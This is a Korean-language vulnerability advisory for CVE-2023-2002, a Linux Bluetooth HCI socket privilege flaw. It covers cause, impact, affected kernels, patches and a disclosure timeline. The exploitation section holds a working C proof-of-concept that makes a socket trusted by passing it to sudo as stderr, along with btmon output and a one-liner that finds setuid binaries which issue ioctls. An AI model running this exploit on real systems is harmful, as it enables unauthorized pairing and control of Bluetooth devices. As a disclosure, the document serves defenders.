Linux Bluetooth: 관리 명령 무단 실행 (CVE-2023-2002)

Linux 커널의 Bluetooth 서브시스템에서 HCI 소켓의 ioctl 시스템 호출을 처리할 때 불충분한 권한 검사가 발견되었습니다. 이로 인해 필요한 CAP_NET_ADMIN capability가 없는 태스크도 HCI 소켓을 쉽게 _trusted(신뢰됨)_로 표시할 수 있습니다. trusted 소켓은 새 기기와의 페어링 또는 연결과 같은 관리 명령 및 이벤트의 송수신을 가능하게 하기 위한 것입니다. 그 결과, 권한이 없는 사용자가 trusted 소켓을 획득하여 관리 명령을 무단으로 실행할 수 있게 됩니다. 이 악용에는 일반적으로 사용되는 setuid 프로그램(예: su, sudo)이 존재하기만 하면 됩니다.

원인

이 취약점의 직접적인 원인은 다음 코드 조각입니다:

static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
                          unsigned long arg)
{
	...
        if (hci_sock_gen_cookie(sk)) {
		...
                if (capable(CAP_NET_ADMIN))
                        hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
		...
        }
	...
}

ioctl 시스템 호출의 구현은 해당 호출을 실행하는 태스크가 HCI_SOCK_TRUSTED 플래그를 업데이트하는 데 필요한 CAP_NET_ADMIN capability를 보유하고 있는지 확인합니다. 그러나 이 검사는 호출하는 태스크만 고려하며, 호출하는 태스크가 반드시 소켓을 연 태스크일 필요는 없습니다. 예를 들어, 소켓은 fork와 execve를 사용하여 다른 태스크와 공유될 수 있으며, 이때 후자의 태스크는 setuid 프로그램과 같이 권한이 부여된 태스크일 수 있습니다. 또한 소켓이 stdout 또는 stderr로 사용되는 경우 tty 파라미터를 얻기 위해 ioctl 호출이 이루어지며, 이는 strace 명령어로 확인할 수 있습니다.

# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305])            = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0

tty 파라미터를 위한 ioctl 호출은 HCI 소켓에서는 절대 성공하지 않지만, HCI 소켓을 trusted로 표시하기에는 충분합니다. 따라서 권한이 없는 프로그램은 trusted HCI 소켓을 보유할 수 있으며, trusted 플래그는 결코 해제되지 않으므로 관리 명령과 이벤트를 송수신할 수 있게 됩니다.

악용

악용은 아래와 같이 매우 간단할 수 있습니다:

	int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);

	/* By executing sudo with an HCI socket as stderr, an ioctl
	 * system call makes the HCI socket privileged (i.e. with
	 * the HCI_SOCK_TRUSTED flag set).
	 */
	int pid = fork();
	if (pid == 0) {
		dup2(fd, 2);
		close(fd);
		execlp("sudo", "sudo", NULL);
	}

	waitpid(pid, NULL, 0);

	struct sockaddr_hci haddr;
	haddr.hci_family = AF_BLUETOOTH;
	haddr.hci_dev = HCI_DEV_NONE;
	haddr.hci_channel = HCI_CHANNEL_CONTROL;

	/* The socket has not been bound. It can be bound to the
	 * management channel now. After that, the HCI_SOCK_TRUSTED
	 * flag is still present, as it will indeed never be cleared.
	 */
	bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));

또한 btmon을 사용하여 소켓이 trusted가 되고 이후의 관리 명령이 성공하는 것을 확인할 수 있습니다:

# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
        Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
      Set Powered (0x0005) plen 4
        Status: Success (0x00)

Bluetooth 기기의 전원 상태를 변경하는 전체 PoC 익스플로잇은 GitHub에서 확인할 수 있습니다.

영향

성공적으로 악용될 경우 이 취약점은 Bluetooth 통신의 기밀성, 무결성, 가용성을 손상시킬 수 있습니다. 공격자는 Bluetooth 서비스가 비활성화되어 있거나 설치되어 있지 않은 경우에도 이 취약점을 악용하여 컨트롤러를 악성 기기와 페어링할 수 있습니다. 또한 특정 기기가 페어링되지 않도록 방지하거나 OOB 데이터와 같은 민감한 정보를 읽는 것도 가능합니다.

영향 범위

이 악용 가능한 취약점은 Linux 커널 v4.9부터 존재해 왔습니다. 더 구체적으로는 커밋 f81f5b2db869("Bluetooth: Send control open and close messages for HCI raw sockets") 이후부터 악용이 가능해졌습니다. 이 커밋 이전에는 취약점을 악용하려면 권한 있는 프로그램을 속여 HCI 소켓을 바인딩하도록 해야 했으며, 이는 실제로 트리거하기가 매우 어렵습니다(불가능하지는 않더라도). 그러나 이 커밋 이후에는 위에서 설명한 것처럼, setuid 프로그램이 존재하기만 하면 권한 있는 프로그램이 ioctl 시스템 호출을 실행하도록 속이는 것만으로 충분합니다.

stdin, stdout 또는 stderr에서 ioctl 호출을 실행하는 setuid 프로그램(보다 정확히는 CAP_NET_ADMIN capability를 가진 프로그램)이 존재하는 한 이 악용은 작동합니다. 대부분의 Linux 배포판에서 빠르고(그러나 매우 대략적인) 테스트를 수행해 보면 상당수의 setuid 프로그램이 ioctl 시스템 호출을 사용하고 있음을 알 수 있으며, 아래 표에서 'V'로 표시되어 있습니다:

# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd

strace 출력을 수동으로 확인한 결과, 이들 ioctl 사용자는 모두 stdin, stdout 또는 stderr에서 ioctl 호출을 사용하여 일부 tty 파라미터를 가져오거나 설정하고 있음이 확인되었습니다. 이 setuid 프로그램들에는 인자가 전혀 전달되지 않았다는 점에 유의하세요. 조작된 인자가 전달되면 ioctl 사용자 수가 늘어날 수 있습니다. 그 결과, 다수의 Linux 배포판이 이 악용에 취약할 수 있습니다.

참고로 Android 기기는 영향을 받을 가능성이 낮습니다. 이 악용에는 setuid 프로그램이 필요하고 Android는 한동안 setuid 사용을 지양해 왔기 때문입니다. 게다가 Android에는 CAP_NET_ADMIN capability를 가진 애플리케이션도 없습니다.

완화

capable()를 sk_capable()로 대체하여 이 취약점을 수정하는 패치가 linux-bluetooth 메일링 리스트에 게시되었습니다. sk_capable()는 현재 태스크뿐만 아니라 소켓을 연 태스크가 필요한 capability를 보유하고 있는지도 확인합니다. 동시에 제출된 또 다른 패치는 hci_sock_ioctl() 시작 부분에서 명령의 유효성을 검사하고, 명령이 유효하지 않으면 아무 작업도 수행하기 전에 즉시 ENOIOCTLCMD 오류 코드를 반환함으로써 ioctl 처리 로직을 강화합니다.

임시 완화 조치로, Bluetooth 기기를 전혀 사용하지 않는 경우(물리적으로 기기를 제거하는 것이 현실적으로 불가능하더라도) rfkill을 사용하여 기기를 차단하면 기기에 전원이 공급되는 것을 방지할 수 있습니다. 이렇게 하면 Bluetooth 기기의 전원을 켜기 위한 관리 명령 전송이 성공하지 못합니다. 이를 통해 이 취약점의 영향을 크게 줄일 수 있습니다.

향후 유사한 취약점을 방지하는 방법은 두 가지가 있습니다: Linux 커널을 강화하는 것과 사용자 공간의 setuid 프로그램을 강화하는 것입니다.

Linux 커널에는 현재 태스크의 capability를 확인하지만 파일 또는 소켓을 연 태스크에 대해서는 아무것도 확인하지 않는 capable() 호출이 많이 있습니다. 많은 경우 파일이나 소켓을 연 태스크의 capability도 함께 확인하는 것이 합리적일 수 있습니다. 그러나 capability 검사를 더 추가하면 예상치 못한 회귀(regression)가 발생할 수 있습니다. 다만 작성 시점까지 실제 그러한 사례는 발견되지 않았습니다.
stdin, stdout, stderr는 다른 파일 디스크립터와 다릅니다. 부모 태스크로부터 상속되지만 현재 태스크가 직접 사용하기 때문입니다. 권한이 있는 setuid 프로그램의 경우 상속된 파일 디스크립터는 신뢰할 수 없는 것으로 취급해야 할 수 있습니다. 따라서 이러한 신뢰할 수 없는 파일 디스크립터에서 시스템 호출을 실행할 때 명시적으로 권한을 낮추는 것도 합리적으로 보입니다.

연관성

이 취약점은 CVE-2014-0181과 정확히 동일한 원리를 공유합니다. CVE-2014-0181의 경우, 문제는 소켓을 연 태스크를 기준으로 Netlink 작업을 승인하는 메커니즘이 없다는 것이었으며, 이로 인해 로컬 사용자가 setuid 프로그램의 stdout 또는 stderr에 Netlink 소켓을 사용하여 네트워크 구성을 수정할 수 있었습니다.

타임라인

2023-04-04: Linux 커널의 Bluetooth 프로토콜 스택을 감사하던 중 이 취약점을 발견했습니다.

2023-04-09: 초기 버전의 패치와 함께 이 취약점을 Linux 커널 보안 팀과 배포판 공급업체에 보고했습니다.

2023-04-12: 이 취약점에 CVE-2023-2002라는 CVE ID가 할당되었습니다.

2023-04-13: 메인테이너들과 며칠간 논의한 끝에 패치가 그에 맞게 업데이트되었습니다.

2023-04-16: 이 취약점은 공개 oss-security 메일링 리스트와 GitHub(여기)에 공개되었습니다. 두 개의 패치가 공개 linux-bluetooth 메일링 리스트(첫 번째, 두 번째)에 게시되었습니다.

2023-05-01: 수정이 메인라인 커널(v6.4 머지 윈도우의 일부)뿐만 아니라 v6.3.1, v6.2.14, v6.1.27, v5.15.110에도 반영되었습니다. 또한 v5.10, v5.4, v4.19, v4.14 커널의 다음 안정 릴리스에도 적용이 예약되었습니다.

2023-05-17: 마지막으로 수정이 모든 안정 커널에 반영되었습니다. 구체적으로 v5.10.180, v5.4.243, v4.19.283, v4.14.315 커널에도 적용되었습니다.

CVE-2023-2002

인기

Linux Bluetooth: 관리 명령 무단 실행 (CVE-2023-2002)

원인

악용

영향

영향 범위

완화

연관성

타임라인